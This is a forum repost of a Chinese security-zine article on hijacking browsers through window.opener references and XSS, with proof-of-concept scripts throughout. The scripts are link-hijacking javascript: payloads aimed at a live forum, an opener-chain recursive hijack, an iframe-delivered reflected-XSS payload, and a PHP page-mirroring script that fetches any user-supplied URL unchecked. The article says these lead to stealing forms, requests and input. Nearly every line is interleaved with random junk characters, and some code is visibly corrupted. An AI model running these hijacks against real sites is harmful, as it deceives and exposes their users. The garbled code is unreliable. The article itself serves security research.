找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2285|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==4 q. i1 x9 Z3 p4 \1 j
& t) r& U# X; m% M+ ~' c4 t- L
                       Issue 0x03, Phile #0x05 of 0x07
0 c! l% S. z" X( o5 g9 Z4 n6 P
7 N3 O3 H( X7 r  z/ R; E7 B& X( f9 y; R  D$ G) R
|=---------------------------------------------------------------------------=|
6 g2 @7 T! D) D$ k  r" W6 L' a4 O|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
0 z0 }6 k8 ?9 g% H|=---------------------------------------------------------------------------=|" _& y9 }; Q, o2 ?- S
|=---------------------------------------------------------------------------=|: P7 S/ P- u6 Q7 t6 v
|=------------------------=[      By rayh4c     ]=---------------------------=|4 U9 C+ u- m+ U: ^7 a: h
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|5 i6 v8 X* L3 ?" ^* T
|=---------------------------------------------------------------------------=|
7 \3 a9 V8 E, m3 H7 v0 C; T. o9 f7 F; _
) f2 d4 k& t$ S. G' @& V0 [5 c
[目录]
, H: `: v" F- F1 `$ x6 l3 \. I$ Y' V& s2 @
1. 前言, r( E$ C, n; I/ u* j
2. 同源策略简叙: K/ S& S5 q2 l. N! p- Q8 `3 T7 O
3. 理解window对象的同源策略+ s: F/ O* K& w3 d1 f9 F9 G
4. 窗口引用功能中的同源策略漏洞
9 U- {+ u7 n+ Y/ Z" ]' n  4.1 父窗口引用子窗口的同源策略问题
; z/ T/ _% a5 f; ~% ~  4.2 子窗口引用父窗口的同源策略问题
4 k! i7 G  ]& R3 w. I3 P5. 利用窗口引用漏洞劫持浏览器8 e& \4 T# ]8 Y( o0 g' p. E% ]7 z, r
6. 利用XSS漏洞劫持浏览器3 \8 P8 W7 z+ W& A5 F2 ~
  6.1 正向跨窗口劫持
$ N; D$ y( x  V; v  b  l  6.2 反向跨窗口劫持2 ^3 B) C1 \0 h! B8 r9 }5 p  I3 w
  6.3 极度危险的跨框架窗口引用劫持+ m* b( v% R& _4 ]- m1 x
  6.4 极度危险的正反向跨窗口递归劫持4 A! C) L$ ?  d
  6.5 完全控制浏览器+ o. ]  r. j. O  B0 B
7. 后记
# h, S$ `4 \7 F3 H! B1 u' P' p7 {8. 参考% \: Z2 B# T8 R( R7 s- k# K3 A8 c
& g6 q. B/ _. D1 Z
# M9 N( U# R. a5 w8 O9 j, l) Z
一、前言7 P2 e; C4 t" I1 [- s; Z, W6 |* c2 }
; g6 X. d( W/ H# E% S: B
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋( u* u5 J, R: \3 L
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session' \# H5 c) m; L0 G
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
! W( d! S; c, T6 w/ l条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
% }% g5 A# d) E3 Z' R1 v, K: P, s3 k& p! i2 v# G* P5 i
* {, z, L5 Y! D3 E) q
二、同源策略简叙
, }8 g- m- t8 ~1 M4 X" @$ e! Y, x
2 h4 a; h, X6 @' M' v$ r    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
, A1 Y9 N  D# ?3 g* i从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
, E2 C7 x7 I1 e% b* [$ a* H( d2 \# O曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木  `, K! W, ^1 t. ^% T( s
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
) G0 E! D+ C( p! d1 Y漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
1 v0 z5 k& {8 @2 G
* P0 |. L2 s' F# j! N! a3 r  I( A6 m( V- T9 T) i! t8 f
三、理解window对象的同源策略) O* y" w" x$ {6 d

3 ~( Q# b6 s/ @$ |# _8 j    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
1 I) ?. ^  H7 h" Z象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:& E. l# q8 b. g
: K6 `5 `. n; [# h& x0 ]
--code-------------------------------------------------------------------------  t% g0 [2 H/ o# V# e; ^9 J8 q
<script language="javascript">5 I1 `2 }8 U, r" D, N
for(p in window) document.write(p+"<br>");
, I$ Z* ~) [! T+ [% Y</script>$ v& b1 ~+ G5 [1 K8 N) \: y" {& Z
-------------------------------------------------------------------------------$ S4 r+ e% `) f- v% K

7 N9 }+ g+ }7 R. h, c. ~    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方% `" {* l% S; D5 ?4 h! K& `" {" Q
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
+ w/ [/ A: c0 k/ J0 v$ G( _这些属性和方法就必须遵循同源策略。; W9 i. e) e" E; y8 w

0 |# p2 _4 @# B& C$ C' W    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
$ L8 Z/ w" O9 H" N; t7 t* l/ Y! m么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
3 o  g9 F& v% s1 w% t1 {, T) ~' p的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这% l2 H5 v* g8 }& F- Z
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
. Q; T5 m6 N9 q4 u0 I值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location5 n( H1 ^* g) O) e& I4 _
属性并没有被拒绝访问。# Y2 e, h1 M, @0 e
! i! {2 \8 y7 Z6 j+ {9 Y
--demo.html--------------------------------------------------------------------
; e1 ]' ?/ h& Y3 N% p<script language="javascript">   
* F% m0 A6 w! W( ]: R! e/ jfunction allPrpos(obj) {      . t$ p+ G. F$ Q
      var props = "<table><tr><td>名称</td><td>值</td>";           7 v5 |4 O. R( c, G  |
      for(var p in obj){         
" d$ b, M: I' n: j. G. k& N            if(typeof(obj[p])=="function"){   
$ _8 ?* p9 N% d* g( ~                   obj[p]();   
' G% E3 H& P8 t/ Z- {; \! R3 {             }else{                      5 X* s: A5 e5 l) x6 Z- _; g
                  try   + G  K$ B6 T5 x0 b7 a$ S
                   {   
, L5 t! e( s: H7 _8 ~8 L                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   % K( W/ V6 j! \& }6 l6 Z: ?& p
                   }   # h; L  W- G+ {
                  catch (ex)   8 @2 G( B& j. A9 g! Z
                   {   
# P. r) h# a1 Y; F% N                  
( S) E! l4 a) u: y' ^                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
( \+ m; o6 G/ R' K9 d- f                   }   0 o4 c! J. j& m1 a+ I- c0 F
                       
3 X- Z( U* ]2 k/ {             }   
6 q& l: V/ ~0 E* _' J7 L       }   0 o  n. k6 M" f* b; c4 [) x
   " J9 c) e) N+ W7 p- `$ ^) J
       document.write(props+"</table>");   
& A# [! J! N8 z}   , R% Z: I# P9 C3 K9 c
   9 U- Q3 y1 }% h6 C
function createWin() {. {' T5 i' ^+ G$ B$ m6 @& _9 O+ j
        newWin = window.open ("http://www.google.com");  
6 C# H2 e: k! r4 X  X3 q        setTimeout(function(){allPrpos(newWin)},2000);
1 `4 \6 Y1 Z! C& j9 y}
; R$ n# w( L' ]9 |* ^% [
6 c: G6 t' L* s9 W</script> * w- r7 {- d$ a* E( c$ b
/ C. {4 m  g" a/ e( h. H1 l
<button onclick='createWin()'>创建一个非同源子窗口测试</button>8 v  L* z- P+ |0 q* ?
-------------------------------------------------------------------------------& x, b# w3 c; O5 \  ?

6 D+ i9 g  Y: i) v
1 j% M& n" b1 L; ]0 k! l9 h四、窗口引用功能中的同源策略漏洞4 d! B, i0 |$ c0 z
$ R6 a4 k4 A! _" M/ l% V7 v
4.1 父窗口引用子窗口的同源策略问题
& u5 R6 u- W4 A, j' {# U! Z0 y7 s7 y( b* C8 b$ j) `* F5 _
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,- j  s+ C  F& F# s# X0 l& s! ^
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
9 t5 ^3 k. b( l- R浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进0 W& C, b2 V5 T5 G3 J
行测试,会发现父窗口可以控制非同源子窗口location属性值。
3 ]* ^( Y2 ~' T  a: i
1 \/ h$ y$ E* @. a$ y: l--vul1.html--------------------------------------------------------------------+ t1 ?- p( I* V5 p2 d& O
<script language="javascript"> ! L) K; O* z8 Z7 J) f+ A! X5 s
function createWin() {  " F* p' N3 \2 [, X% a4 w
        newWin = window.open ("http://www.google.com");  
2 b* e- w% e" l- u" ?0 T8 ^7 r        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
6 q8 E* r) w" `' |8 f" W3 P} . B) d5 Q, {% `" Z
</script>" j# x7 ^9 s- |) K

" U) B# [% c* W5 a1 Q1 Q<button onclick='createWin()'>创建一个非同源子窗口测试</button>/ u* G: n9 |: A
-------------------------------------------------------------------------------! i& X1 i2 i' i, e
% n$ z7 b; O3 `! c

& x+ o. p$ l  q4.2 子窗口引用父窗口的同源策略问题
4 Z# R; A3 y. q
4 v$ W2 y1 r- c, g7 p$ S    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
; [$ N# k7 E* l7 o7 _用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们, {; I8 h+ Q* l& h8 P
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定* ^9 v, |- m, b7 K: |* b6 ~  |
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
2 W% [2 m  G3 P; V1 `: M) M0 j! C$ [! F
--code-------------------------------------------------------------------------1 T! h" S& D0 }$ M6 l

+ [, k( Q; @2 z% L' Mjavascript:window.opener.location = "http://www.80sec.com";void(0);
6 I6 J( z$ @. h( B$ [+ n6 `6 j) C, y3 U" T/ _' q
-------------------------------------------------------------------------------5 {  _; c. c& Z2 K- R9 o
% K! h8 y* x! p: _& \1 z
) V1 H: I$ H4 Y6 `9 b: W
五、利用窗口引用漏洞劫持浏览器3 }" L6 O* h7 o- u2 L

6 K/ M+ E, t5 _& `- L    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
' X; t9 w8 m) e8 ~窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
% B- V, V1 |9 ?- k么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
2 \$ c9 F" _6 {, o3 {, @+ d* L# f& M
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产7 F; i6 S& a0 d1 i$ n
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
5 a, J- t  `2 L2 ?/ x者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接# h1 n. q- N5 a# i4 x
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下1 p0 \9 u" Z5 u4 N! g! Y% o
会产生什么可怕的后果。
- Q$ u! q0 |- B3 I5 h9 Y  S0 a3 P1 c! y) ]  j% k& a. f
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我1 I  j! m" T! o8 b# b7 \" @/ }
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
$ {' _- e3 U) r这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时8 {" }% u3 N+ [7 D
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
. S* x3 u) r9 k7 T" X. A2 @0 @以做更多的事情,所有的一切仅仅是因为点击了一个链接。$ W8 k5 d# y! {, b3 r, ?# }

9 b2 q- X( z" q. {6 B1 e--hjk_ref.php------------------------------------------------------------------8 J) u/ Q7 a- D" c* j
<?php
! D2 `9 p/ V% T, l, X5 Iif (array_key_exists("HTTP_REFERER", $_SERVER)) {
/ {$ G$ D" m: K$Url_Mirror = $_SERVER["HTTP_REFERER"];
) E1 I& r  b3 N} 4 k" q- L1 b7 e
if(isset ($_GET['ref'])) {
/ O+ T/ p. I5 i- ^echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
0 G/ z, t( N2 K5 [" u}9 q/ r* H; O; ?
?>
8 Q* y1 v$ x4 c% M9 y$ a8 E& W; I  c7 U/ k& D/ ]
<script language="javascript">" D3 J$ L) L& J
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
/ C" ~, B1 B5 `: k</script>
( a0 ?( B) e7 a3 ?% A+ V2 h% _" B-------------------------------------------------------------------------------) x) }; V2 l* h5 c, \" h8 e* x
+ S# I- m) |7 N
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
6 k" t* v4 N2 h1 }/ V- d% X- n
% a  U; z6 t, W7 s2 b
( k& G4 c. l+ y六、利用XSS漏洞劫持浏览器
% ^2 y0 Z7 Z8 A# N/ |3 C
* b. a' M( N/ p/ S$ Y4 ?    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
( U0 N: [. L& b4 M$ L  b- Y- c持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后9 h9 M( r0 ^2 |7 J0 L
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起5 j$ ]# ?5 H& ?7 n- T% E
讨论跨站师的终极技巧:
( K5 }' s" m- w. `/ [4 ]' h
0 z" K6 i1 `7 q! d4 ^3 Z) V! g) p; D% h$ }" w3 l
6.1 正向跨窗口劫持  X/ f: s( F" s0 }9 Z( d

# V/ Z) p( X! Q9 Z  ?- q& u    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
; H+ R! G6 I, x. T1 m! h主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链2 V0 R, |7 R9 c4 b/ c
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话7 Z5 Y7 T. \0 Y8 M  }
框脚本。 6 H1 t2 ^9 G$ s$ w5 h
. m5 ~9 Q$ A8 z
--hijack_open.js---------------------------------------------------------------' o5 F9 p( O9 \

: g: ^' q8 p& @$ ]' ^javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);) r& t5 C3 K) z
/ V7 H4 O: W+ A. f2 W
-------------------------------------------------------------------------------
6 t; |/ l  L/ W2 w0 F  i
! T/ I0 W5 T4 m$ w" v$ A/ V
% `" c1 O, }4 f2 b" D$ |( s/ d+ D( {3 _) Y6.2 反向跨窗口劫持
2 v) X$ _. E6 D& x: }' s7 i7 e" W' y$ j
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
8 j3 T) h* d& L码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话( F8 V) }1 a8 B1 e+ n4 C
框脚本。) V2 C+ e2 [, G2 G/ q

' s+ c) X5 i! |1 o7 ?--hijack_opener.js-------------------------------------------------------------
1 i# m" p' Q. N3 M" Y6 M
+ O/ P! P% A# a% _' cjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);+ \0 i3 h7 \% ]* m
9 j" F2 g+ v) q, w+ T% Z! O  s
-------------------------------------------------------------------------------" K1 k4 E# o2 M9 l
& b6 q" q4 b+ J0 `9 F3 ?

) F1 r# U7 U4 V5 n3 l* e6.3 极度危险的跨框架窗口引用劫持1 J1 V6 ?& T6 a, P7 p" p

9 k- c# j3 H5 k2 i& k* ?3 b# F    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
& @: d8 i/ V* X% F0 N可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就6 N! n" K; h6 O* t! @( q' J
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
; w# k& Z5 N( Y  W非持久型的XSS,如下:
! c5 Y1 ~  Q/ b' h* @& M. w( B  W* L2 P: b# E/ L
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>9 e$ R1 p. C5 P  U" h: _

2 Y* _2 K7 t' H    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口3 J3 S* e0 {4 U' q* M7 r0 B- f
注入脚本。
5 O( d& K9 S- x( P
' a$ ~3 }. o" f1 u--hijack_frame_opener.js-------------------------------------------------------2 U$ z2 ~4 R% F! G  B: c6 ]+ _
<script>
0 U/ Z8 F( r+ s) L- V0 [; g' Kwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
  ^) ]/ P( h, P9 W4 ?</script>" e& i' Y9 r5 R2 u
-------------------------------------------------------------------------------& N9 X- @6 a" T& G$ r2 T! ]# R

$ n3 Q& _( L) B
% X1 C: ~2 N. T4 q6 @9 [/ p' ^" N6.4 极度危险的正反向跨窗口递归劫持
6 {7 p: E9 g! M# x) J7 y
" I; L( D4 D  x  d) H, z" b; X4 z    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
, |% F6 _/ |/ [( t" `4 T$ ?  R/ t的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过3 e3 t% @2 e% X2 o9 s  @- \/ G
异常处理规避之间跨域页面的访问异常,代码如下:
5 W- U0 t* w, v% T- g2 `) `, R8 `; v( c, T! Y& s! m% D( [
--code-------------------------------------------------------------------------: p; T: s9 m2 E# P- K

% x0 k( I+ C% m& ^. V+ \javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);  O% {$ G( x$ k6 b% R

0 W2 h3 M$ T3 Z, P1 X2 m4 G& T, G-------------------------------------------------------------------------------
4 ^! W- c, E- K" B5 d8 Z
: F1 }0 F1 S% d7 W' T& J. y4 s    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
9 d% t" {) z3 t& {/ @" y& [+ Z以劫持B域之前的A域页面,从而实现“隔空打击”。0 ~9 |$ R) O4 r' o% s

3 l( ?$ \5 ^6 K. q& {    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面% @' q' i1 t# I# P( J, a, m
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
/ o! X- N3 e# H& m5 R. c6 ^- X" _& o" y' ~3 p6 q  [; E. d
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
! E/ t- e+ Z- S2 a3 u9 [. }- q# D1 L" U; _# J8 u0 ?

8 H8 J& m6 `2 l, ^; b% w6.5 完全控制浏览器' N3 M2 b0 n! @+ `
( Z( i% ]: a" b; I1 y  `
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则) U3 T! ], v" Z0 @- `
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS, ^6 ]! C2 y" G3 P
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
' K" z! q, d$ f1 }4 y% {8 X0 A而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再6 p1 Z3 h, j$ h- s! C
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站' F/ L* \$ Q! s* o% c: g* C
师的终极目标 - 完全控制浏览器。
5 k' j/ B0 L: C
6 \1 ^6 }; _% j
% M; S' Q, }* q6 Y) v) n七、后记
7 s. _7 x: Q2 q, E+ U" o( Q; T9 p1 B3 W/ \* [
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全, L! E' }' N& e( m6 N
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予8 ?! m6 k* |" u
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
  S, D8 x; w& X+ x2 F8 D
1 t4 i/ v  A4 V- p; W# `. S* E  x! [+ C' G' z/ `% }  ^8 h  ]  l- _
八、参考
& }) q9 Y. C% Y6 v( B
+ D6 v6 \& M7 x9 {1. http://en.wikipedia.org/wiki/Same_origin_policy
- n1 b2 U( t2 s9 `6 o2. http://code.google.com/p/browser ... licy_for_DOM_access
2 A7 F$ a' w+ a5 `6 e2 o3. http://www.w3.org/TR/Window/$ M. X# O: j1 j/ J9 D- \- a+ s4 \
4. http://www.80sec.com/release/browser-hijacking.txt
# s1 Y, ?4 |- X+ q. x5. http://www.80sec.com/all-browser-security-alert.html# m2 j- I% [; o. F9 ~
6. http://www.80sec.com/ms08-058-attacks-google.html
! \" H9 D% L. s* ~2 Y0 \% v
% q' ~& n" r2 F5 M' F. r6 L-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表